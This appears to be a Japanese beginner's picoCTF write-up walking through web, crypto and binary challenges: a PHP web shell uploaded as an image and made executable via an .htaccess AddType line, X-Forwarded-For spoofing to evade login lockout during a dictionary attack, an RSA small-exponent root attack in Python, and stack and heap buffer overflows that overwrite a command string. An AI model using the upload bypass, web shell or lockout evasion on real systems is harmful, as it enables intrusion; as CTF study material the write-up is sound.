はじめに
CTF初心者が様々な記事を参考にしながら挑戦しているので、用語や解説等で間違いがあれば気軽にコメントください!
Web Exploitation
byp4ss3d
説明
大学のオンライン登録ポータルでは、学生に身分証明書のアップロードによる本人確認を求めています。開発者は画像ファイルのみがアップロードされるようフィルタリングを施しましたが、それだけで十分でしょうか?アップロードの実装方法を確認してみましょう。チェックをすり抜け、本来あるべきでない方法でサーバーとやり取りする方法があるかもしれません。
アップロードファイルがそのまま表示されているここが怪しそう。
http://amiable-citadel.picoctf.net:{ポート番号}/images/アップロードファイル名
説明から、画像ファイル云々と記載されているので次のphpファイルの拡張子を(.png .jpg .gif)のどれかに変更してアップロードしてみる。
<?php
echo(system("ls /"));
?>
結果

Not allowedにならなかったからいけそう。
でもどうすればいいんだ...?
ヒント1
Apache can be tricked into executing non-PHP files as PHP with a .htaccess file.
翻訳
Apacheは、.htaccessファイルを使用して、PHP以外のファイルをPHPとして実行するように仕向けることができます。
.htaccessというものがあるのでそれを使うっぽい。
調べてみると、AddTypeというディレクティブで拡張子とMIMEタイプを紐づけることで.php以外でphpファイルを実行できるようになるみたい。
参考
.htaccessでPHPを任意の拡張子で動作させる方法
以下の設定ファイルをアップロードして再度試してみる。
AddType application/x-httpd-php .png
あとはflagがないかfindで探すだけ。
<?php
echo(system("find / -name flag*"));
?>
Crack the Gate 2
説明
ログインシステムは基本レート制限機構を実装し、同一ソースからの繰り返し失敗試行をロックアウトするようになりました。ただし、システムがユーザー制御ヘッダーを依然として信頼している可能性があるとの情報を得ています。あなたの目的は、レート制限を回避し、既知のメールアドレス ctf-player@picoctf.org を使用してログインし、隠された秘密を暴くことです。
説明から、アカウントロック機能をどう回避するか問われてるそう。
よくある回避方法として、IPスプーフィングがあるため配布されたパスワードリストを利用して辞書攻撃する。
X-Forwarded-For:{偽装するIPアドレス}
lengthの一番大きいレスポンスが怪しい。
Burp Suiteの実行画面

HTTPボディからFlag取り出しておしまい。
Cryptography
Crack the Power
はじめに、解くためにはある程度のRSAの仕組みを理解している必要があるため、分からない人は調べてください...笑
説明
暗号化されたメッセージを受け取りました。そのモジュラスは、少なくとも現時点では因数分解が不可能なほど巨大な素数から構成されています。数字の意味を解読し、フラグを明らかにできるか試してみてください。
n=7182044538179166323847455947619004644121442...
e=20
c=6406374308104068575005667020962740799532346...
説明の素数から構成っていうのと、与えられた文字列からRSAっぽい感じがする。
「RSA 攻撃」で調べるとLow Public Exponentというのがあるみたい。
問題を説明するためにRSAについてめちゃくちゃ簡単に説明します。
RSA暗号の説明
まずRSAでは一般的に以下5つの変数が使われます。
| 変数 | 名称 | 役割 |
|---|---|---|
| $m$ | 平文 | 暗号化する元データ |
| $c$ | 暗号文 | $m$(平文)の暗号文 |
| $n$ | 法 | 暗号・復号時に使用する |
| $e$ | 公開指数 | 暗号化で使用する |
| $d$ | 秘密指数 | 復号で使用する |
数学苦手な人は混乱しそうですが、やってることはめちゃ簡単。
平文($m$)・暗号文($c$) に対して、公開指数($e$)・秘密指数($d$)のべき乗をとり、$n$の剰余をとるだけ。(本当は色々な制約を基に{$n,e,d$}を決めますが割愛)
式にするとこれ
暗号化 $c = m^e \bmod n$
復号 $m = c^d \bmod n$
問題の説明
今回は暗号化する際に使う公開指数($e$)が小さすぎることに問題があるらしい。
自分なりに解釈したことを話すと
公開指数($e$)の値が小さすぎると、$m^e < n$が成立してしまう可能性がある。これにより、法($n$)の剰余をとった際に値が変化せず、$c = m^e$ となってしまう。
といった感じ。
そして、公開指数($e$)と $m^e$ の2つが分かれば累乗根をとることで、平文($m$)が求められる。
累乗根の解を求める方法として、Pythonのgmpy2ライブラリが使えるみたいなので実装する。
import gmpy2
c = {暗号文}
e = 20
m = gmpy2.iroot(c,e)[0]
# 必要バイト数取得
byte_length = (m.bit_length() + 7) // 8
# バイト変換
b = m.to_bytes(byte_length,'big')
# デコード
print(b.decode('ascii',errors='replace'))
printでFlagが取れたのでおしまい。
Binary Exploitation
バイナリ解析は苦手なので簡単に解説
Input Injection 1
int main() {
char name[200];
printf("What is your name?\n");
fflush(stdout);
// 第1引数_第3引数から読み込んだ文字列を格納するバッファ
// 第2引数_最大読込みサイズ
// 第3引数_読込み元
fgets(name, sizeof(name), stdin);
// strcspnでname配列の先頭から改行文字(\n)までの長さを返す
// name配列の改行文字(\n)を0(NULL値)に置き換える
name[strcspn(name, "\n")] = 0;
fun(name, "uname");
return 0;
}
void fun(char *name, char *cmd) {
char c[10];
char buffer[10];
// cにcmdの文字列をコピー
strcpy(c, cmd);
// bufferにnameの文字列をコピー
// ただしbufferのサイズ(10バイト)を超えると、
// buffer領域を超えた領域に書き換えられる可能性がある
strcpy(buffer, name);
printf("Goodbye, %s!\n", buffer);
fflush(stdout);
system(c);
}
コメントのどこに脆弱性があるかというと、fun関数内のここ
char c[10];
char buffer[10];
strcpy(c, cmd);
strcpy(buffer, name);
ここで、スタックが関係するのだが詳しくはIPAが説明してくれています。
参考
C/C++言語編 第1章 総論 | IPA
簡単に説明すると
buffer配列の許容範囲(10バイト)を超えた文字列を、name配列からコピーしようとするとbuffer領域を超えてc領域に書き込まれてしまう。
といった感じ。
そのため10文字(10バイト)を超えた入力をすれば

flagとれておしまい。
Input Injection 2
int main(void) {
// malloc(n)でnバイトを収容可能な空きブロックを割り当てる
// usernameとshellは異なるメモリブロックを獲得する
char* username = malloc(28);
char* shell = malloc(28);
printf("username at %p\n", username);
fflush(stdout);
printf("shell at %p\n", shell);
fflush(stdout);
// shellに"/bin/pwd"をコピー
strcpy(shell, "/bin/pwd");
printf("Enter username: ");
fflush(stdout);
// 標準入力をusernameに格納
scanf("%s", username);
printf("Hello, %s. Your shell is %s.\n", username, shell);
// shellに格納された文字列をOSコマンドとして実行
system(shell);
fflush(stdout);
return 0;
}
これもBOFっぽいと思って、Input Injection1の文字数を増やして同じやり方をしたらFlagが取れた。

ちゃんと説明すると、これもInput Injection1と同じく領域云々が関係している。
しかし、異なるのはヒープを利用している点。
// Input Injection1
char c[10];
char buffer[10];
// Input Injection2
char* username = malloc(28);
char* shell = malloc(28);
ここで、語弊を恐れずに言うと領域の取り方が次のように異なる。
スタック:ローカル変数が近い位置に連続して配置される。(連続しやすい)
ヒープ:mallocで必要サイズの連続した領域を確保する。しかし、確保位置は毎回異なるため、他領域と隣り合うとは限らない。
これも詳しくはIPAで。
参考
C/C++言語編 第1章 総論 | IPA
そのため、本来username,shell変数のアドレス位置を加味したBOFをしたほうが効率的。
username at 0x1f3652a0
shell at 0x1f3652d0
上記のように、各変数のアドレス値もわかっているため、それを減算すればよい。
$ 0x1f3652d0 - 0x1f3652a0
= 48$(バイト)
48バイト離れているため、48文字(48バイト)を超えた入力を与えればヒープBOF出来るということ。
理解しようとすると、やっぱりむずかしい。
Reverse Engineering
M1n10n'5_53cr37 -作成中-
Pico Bank -作成中-
参考サイト



